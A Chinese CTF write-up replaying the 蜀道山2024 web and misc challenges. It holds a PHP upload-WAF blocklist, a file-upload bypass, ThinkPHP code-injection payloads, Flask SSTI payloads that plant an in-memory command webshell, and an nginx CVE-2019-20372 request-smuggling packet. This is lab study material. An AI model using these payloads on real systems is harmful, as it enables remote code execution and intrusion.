RE:蜀道山2024

前言

距离上次更新已经19天,假期太容易摆烂了,今天开始复现蜀道山2024的WEB和MISC部分。

题目整体偏难。

大部分WP参考这两位师傅

2024“蜀道山”高校联合公益赛web全解&&部分misc-先知社区

2024蜀道山|web|复现 | TGlu’blog

WEB

奶龙牌WAF

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
$file = $_FILES['upload_file'];

if ($file['error'] === UPLOAD_ERR_OK) {
$name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']);
$fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));

if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false) {
die("不允许上传此类文件!");
}


if ($file['size'] > 2 * 1024 * 1024) {
die("文件大小超过限制!");
}

$file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000);

$dangerous_patterns = [
'/<\?php/i',
'/<\?=/',
'/<\?xml/',
'/\b(eval|base64_decode|exec|shell_exec|system|passthru|proc_open|popen|php:\/\/filter|php_value|auto_append_file|auto_prepend_file|include_path|AddType)\b/i',
'/\b(select|insert|update|delete|drop|union|from|where|having|like|into|table|set|values)\b/i',
'/--\s/',
'/\/\*\s.*\*\//',
'/#/',
'/<script\b.*?>.*?<\/script>/is',
'/javascript:/i',
'/on\w+\s*=\s*["\'].*["\']/i',
'/[\<\>\'\"\\\`\;\=]/',
'/%[0-9a-fA-F]{2}/',
'/&#[0-9]{1,5};/',
'/&#x[0-9a-fA-F]+;/',
'/system\(/i',
'/exec\(/i',
'/passthru\(/i',
'/shell_exec\(/i',
'/file_get_contents\(/i',
'/fopen\(/i',
'/file_put_contents\(/i',
'/%u[0-9A-F]{4}/i',
'/[^\x00-\x7F]/',
// 检测路径穿越
'/\.\.\//',
];


foreach ($dangerous_patterns as $pattern) {
if (preg_match($pattern, $file_content)) {
die("内容包含危险字符,上传被奶龙拦截!");
}
}

$upload_dir = 'uploads/';
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}

$new_file_name = $upload_dir . $name;
print($_FILES['upload_file']);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $new_file_name)) {
echo "文件上传成功!";
} else {
echo "文件保存失败!";
}
} else {
echo "文件上传失败,错误代码:" . $file['error'];
}
} else {
?>
<!-- 文件上传表单 -->
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件上传</title>
<style>
body {
font-family: Arial, sans-serif;
background: url('background.jpeg') no-repeat center center fixed;
background-size: cover;
display: flex;
justify-content: center;
align-items: flex-start;
height: 100vh;
margin: 0;
}
.upload-container {
background-color: rgba(214, 227, 49, 0.22);
padding: 20px;
border-radius: 10px;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
text-align: center;
position: absolute;
top: 10%; /* 调整这个值来控制表单距离顶部的高度 */
}
.upload-container h2 {
color: #333;
margin-bottom: 20px;
}
.file-input {
display: none;
}
.custom-file-upload, .submit-btn {
display: inline-block;
padding: 10px 20px;
border-radius: 5px;
cursor: pointer;
font-size: 16px;
}
.custom-file-upload {
background-color: #ff0000;
color: white;
margin-right: 20px;
}
.custom-file-upload:hover {
background-color: #b3002a;
}
.submit-btn {
background-color: #28a745;
color: white;
border: none;
}
.submit-btn:hover {
background-color: #218838;
}
</style>
</head>
<body>
<div class="upload-container">
<h2>你能逃出奶龙的WAF吗?</h2>
<form action="" method="POST" enctype="multipart/form-data">
<label for="upload_file" class="custom-file-upload">选择文件</label>
<input type="file" name="upload_file" id="upload_file" class="file-input">
<input type="submit" value="上传文件" class="submit-btn">
</form>
</div>
<script>
document.querySelector('.custom-file-upload').addEventListener('click', function() {
document.getElementById('upload_file').click();
});
</script>
</body>
</html>
<?php
}
?>

发现可以上传.user.ini文件

可以尝试.user.ini文件读取log文件,发现被过滤

在源码中发现了一个漏洞点发现一个漏洞点move_uploaded_file($_FILES['upload_file'['tmp_name'],$new_file_name)

当move_uploaded_file函数参数可控时,可以尝试/.绕过

因为该函数会忽略掉文件末尾的/.

构造path=2.php/.此时file_ext值就为空

绕过黑名单

此外move_uploaded_file函数忽略文件末尾的/.可以实现保存文件为.php。

image-20250828213232920

另一个漏洞点未利用$file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000);

黑名单限制了文件的前5000个字节通过脏数据实现绕过

将一句话木马放在5000字节以外。

1
?name=../2.php/.

image-20250828213049308

image-20250828212840924

恶意代码检测器

进去为一个黑名单检测功能点

扫目录发现

image-20250828220118358

下载www.zip

得到源码

是个ThinkPHP

审计源码

check功能文件在/src/app/controller/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
public function index()
{
$code = preg_replace("/[\";'%\\\\]/", '', $_POST['code']);
if(preg_match('/openlog|syslog|readlink|mail|symlink|popen|passthru|scandir|show_source|assert|fwrite|curl|php|system|eval|cookie|assert|new|session|str|source|passthru|exec|request|require|include|link|base|exec|reverse|open|popen|getallheaders|next|prev|f|conv|ch|hex|end|ord|post|get|array_reverse|\~|\`|\#|\%|\^|\&|\*|\-|\+|\[|\]|\_|\<|\>|\/|\?|\\\\/is', $code)) {

$attack_log_file = '/tmp/attack.log';

if(file_exists($attack_log_file)) {
file_put_contents($attack_log_file, '$attack_word=\''.$code.'\';'."\r\n",FILE_APPEND);
require_once('/tmp/attack.log');
} else {
file_put_contents($attack_log_file, '<'.'?'.'php'."\r\n");
}
if(isset($attack_word)){
echo '检测到危险代码: '.$attack_word.'!!!';
} else{
echo '欢迎使用gxngxngxn的恶意代码检测器!!!';
}
}else{
$safe_log_file = '/tmp/safe.log';
if(file_exists($safe_log_file)) {
file_put_contents($safe_log_file, '$safe_word="'.$code.'";'."\r\n",FILE_APPEND);
require_once('/tmp/safe.log');
} else {
file_put_contents($safe_log_file, '<'.'?'.'php'."\r\n");
}
if(isset($safe_word)){
echo '未检测到危险代码,'.$safe_word.',非常安全';
} else{
echo '欢迎使用gxngxngxn的恶意代码检测器!!!';
}
}
}
}

漏洞点file_put_contents($attack_log_file, '$attack_word=\''.$code.'\';'."\r\n",FILE_APPEND);

法一:usort()

1
2
3
4
5
6
7
8
${usort($_GET[a],'system')}
//绕过黑名单
${@usort((ge.tallheaders)(),sys.tem)}
//⽤字符串拼接的⽅式绕过过滤
//由于没有引号,拼接字符的时候会warming,然后tp就报错了,⽤@来忽略掉警告
//过滤下划线,⽤ getallheaders 给 system 传参
//get和system被过滤 用.来分隔绕过
//getallheaders:获取所有 HTTP 请求标头

image-20250828221104522

之后cat flag即可

法二:input()

1
2
//用input传入两个参数0和1,然后赋值
${input(0)(input(1))}&0=system&1=ls+/

image-20250828222553773

不知为何未能cat flag

可能复现环境存在问题

my_site

描述:小明第一次使用python进行web开发,不过他的网站貌似不够安全

考点:ssti注入内存马

打开为一个拥有登录 注册 信息板 rot13加解密的网站

复现没给源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from flask import Flask, abort, render_template_string, request, render_template, redirect, url_for, session, flash, g
from utils import rot13, key
import sqlite3

app = Flask(__name__)
app.secret_key = 'your_secret_key'
app.config['DATABASE'] = 'database.db'

def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(app.config['DATABASE'])
return db

@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()

@app.route('/')
def home():
return render_template('home.html')

@app.route('/rot13', methods=['GET', 'POST'])
def rot13_route():
if request.method == 'POST':
action = request.form['action']
text = request.form['text']

if action == 'encrypt':
encrypted_text = rot13(text)
return redirect(url_for('rot13_result', result=encrypted_text, action='encrypt'))


elif action == 'decrypt':
text = request.form['text']
decrypted_text = rot13(text)
if key(decrypted_text):
template = '<h1>Your decrypted text is: {{%s}}</h1>' % decrypted_text
try:
render_template_string(template)
except Exception as e:
abort(404)
# return "既然你是黑阔,那我凭什么给你回显"
return redirect(url_for('rot13_result', result="既然你是黑阔,那我凭什么给你回显", action='decrypt'))

else:
return redirect(url_for('rot13_result', result=decrypted_text, action='decrypt'))
template = '<h1>Your decrypted text is: %s</h1>' % decrypted_text
return render_template_string(template)

return render_template('index.html')

@app.route('/rot13_result/<action>/<result>')
def rot13_result(action, result):
return render_template('rot13_result.html', action=action, result=result)

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
db = get_db()
cursor = db.cursor()
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))
user = cursor.fetchone()
if user:
session['username'] = username
return redirect(url_for('message_board'))
else:
flash('Invalid username or password')
return render_template('login.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
db = get_db()
cursor = db.cursor()
try:
cursor.execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, password))
db.commit()
flash('Registration successful! Please log in.')
return redirect(url_for('login'))
except sqlite3.IntegrityError:
flash('Username already exists!')
return render_template('register.html')

@app.route('/message_board', methods=['GET', 'POST'])
def message_board():
if 'username' not in session:
return redirect(url_for('login'))

db = get_db()
cursor = db.cursor()

if request.method == 'POST':
message = request.form['message']
cursor.execute("INSERT INTO messages (username, message) VALUES (?, ?)", (session['username'], message))
db.commit()

cursor.execute("SELECT username, message FROM messages")
messages = cursor.fetchall()

return render_template('message_board.html', messages=messages)

@app.route('/logout')
def logout():
session.pop('username', None)
return redirect(url_for('home'))

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)

经典的render_template_string(template)导致的ssti漏洞,此题无回显

通过ssti任意命令执行打flask内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
elif action == 'decrypt':
text = request.form['text']
decrypted_text = rot13(text)
if key(decrypted_text):
template = '<h1>Your decrypted text is: {{%s}}</h1>' % decrypted_text
try:
render_template_string(template)
except Exception as e:
abort(404)
# return "既然你是黑阔,那我凭什么给你回显"
return redirect(url_for('rot13_result', result="既然你是黑阔,那我凭什么给你回显", action='decrypt'))

else:
return redirect(url_for('rot13_result', result=decrypted_text, action='decrypt'))
template = '<h1>Your decrypted text is: %s</h1>' % decrypted_text
return render_template_string(template)

return render_template('index.html')

重点在此处

1
template = '<h1>Your decrypted text is: {{%s}}</h1>' % decrypted_text

rot13加解密

1
2
3
4
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

加密后:
{{hey_sbe.__tybonyf__['__ohvygvaf__']['riny']("ncc.nsgre_erdhrfg_shapf.frgqrsnhyg(Abar, []).nccraq(ynzoqn erfc: PzqErfc vs erdhrfg.netf.trg('pzq') naq rkrp(\"tybony PzqErfc;PzqErfc=__vzcbeg__(\'synfx\').znxr_erfcbafr(__vzcbeg__(\'bf\').cbcra(erdhrfg.netf.trg(\'pzq\')).ernq())\")==Abar ryfr erfc)",{'erdhrfg':hey_sbe.__tybonyf__['erdhrfg'],'ncc':hey_sbe.__tybonyf__['flf'].zbqhyrf['__znva__'].__qvpg__['ncc']})}}

image-20250828224759407

存在waf,学艺不精绕不过去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#第一名给的脚本,
def rot13(text):
result = ""
for char in text:
if char.isalpha():
ascii_val = ord(char)
if char.islower():
rotated_val = ((ascii_val - 97) + 13) % 26 + 97
else:
rotated_val = ((ascii_val - 65) + 13) % 26 + 65
result += chr(rotated_val)
else:
result += char
return result
print(rot13(text))
text = """()}}{{url_for['__glob''als__']['__buil''tins__']['eval']
("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('cat /flag').read())")"""
# ()}}{{hey_sbe['__tybo''nyf__']['__ohvy''gvaf__']['riny']
("__vzcbeg__('flf').zbqhyrf['__znva__'].__qvpg__['ncc'].orsber_erdhrfg_shapf.frgqrsnhyg(Abar,[]).nccraq(ynzoqn :__vzcbeg__('bf').cbcra('png /synt').ernq())")

利用Flask框架的url_for全局变量访问__globals____builtins__来获取eval函数,并执行命令通过修改before_request_funcs在每次请求前运行cat /flag以读取flag文件,从而绕过安全检测

海关警察训练平台

这是一个海关警察训练平台,你的任务是判断所给图片能否进入境内,但是全部判断正确的成功页面好像丢失了??flag在内网的http://infernityhost/flag.html

image-20250828230834289

nginx/1.17.6存在以下CVE

CVE-2019-20372

[(CVE-2019-20372)Nginx error_page 请求走私漏洞 · Qingy文库](https://wiki.timlzh.com/Qingy-Wiki/Web安全/Nginx/(CVE-2019-20372)Nginx error_page 请求走私漏洞/(CVE-2019-20372)Nginx error_page 请求走私漏洞.html)

默认模板

1
2
3
4
5
GET /a HTTP/1.1
Host: localhost
Content-Length: 56
GET /_hidden/index.html HTTP/1.1
Host: notlocalhost

此处攻击数据包为

1
2
3
4
5
6
7
GET /error HTTP/1.1
Host: gz.imxbt.cn:20450
Content-Length: 63

GET /flag.html HTTP/1.1
Host: infernityhost
Connection: close

多次发包即可得到回显

image-20250828231355033

MISC

神奇的硬币纺纱机

神奇的硬币纺纱机会把白色和蛋黄融为一体,点击下方的链接和简历,获取一个获取一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nc gz.imxbt.cn 20453

来玩玩这个神奇的机器吧!

你的对面是另一个玩家,你们俩都能决定是否投入硬币,
如果你们俩都投进了,则都会得到硬币;
如果你投了但对面没投,你的硬币就是他的啦!
当然,换成对面也是一样的哦!
如果双方都没投,就都没有影响!
最终的目标是,在 100 次内,获得 100 枚硬币!
输入帮助:
每次有两种选择:1 -> 投币,0 -> 不投币
? -> 显示这个帮助说明
i -> 显示你的信息
[?] (10@0) 投币吗 <10?i>:

一直不投币即可

后面不投币硬币会大量增加

image-20250828232554387

Elemental Wars

1
2
3
4
5
6
7
8
9
10
11
12
13
nc gz.imxbt.cn 20456

_____ _ _ _ __ __
| ____| | ___ _ __ ___ ___ _ __ | |_ __ _| | \ \ / /_ _ _ __ ___
| _| | |/ _ \ '_ ` _ \ / _ \ '_ \| __/ _` | | \ \ /\ / / _` | '__/ __|
| |___| | __/ | | | | | __/ | | | || (_| | | \ V V / (_| | | \__ \
|_____|_|\___|_| |_| |_|\___|_| |_|\__\__,_|_| \_/\_/ \__,_|_| |___/


欢迎来到元素战争!
游戏即将开始...

请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):

运气好 随便乱输也能赢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import socket
import time
import random

HOST = 'gz.imxbt.cn'
PORT = 20456


def choose_element():
# 随机选择1到5之间的数字,并加上换行符
return f"{random.randint(1, 5)}\n"


def get_enemy_health(response):
# 提取敌人血量
for line in response.splitlines():
if "敌人的血量:" in line:
try:
health = int(line.split("敌人的血量:")[1])
return health
except (IndexError, ValueError):
pass
return None


def main():
# 创建一个socket用来连接到服务器
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
print("已连接到服务器")

enemy_health = 100 # 初始假设敌人有一定血量

while enemy_health > 0:
# 接收服务器的返回信息
response = s.recv(1024).decode('utf-8')
if not response:
print("连接已关闭")
break

print(f"服务器: {response}")

# 更新敌人血量
current_health = get_enemy_health(response)
if current_health is not None:
enemy_health = current_health

# 判断是否是选择元素的提示
if "请选择你的元素" in response:
# 发送随机选择的元素
choice = choose_element()
print(f"发送随机选择:{choice.strip()}")
s.sendall(choice.encode('utf-8'))

# 检查游戏是否结束
if "游戏结束" in response or "胜利" in response or "失败" in response:
print("游戏结束")
break

# 等待下一轮
time.sleep(1)


if __name__ == "__main__":
main()

写个脚本魔法对轰

image-20250828234524970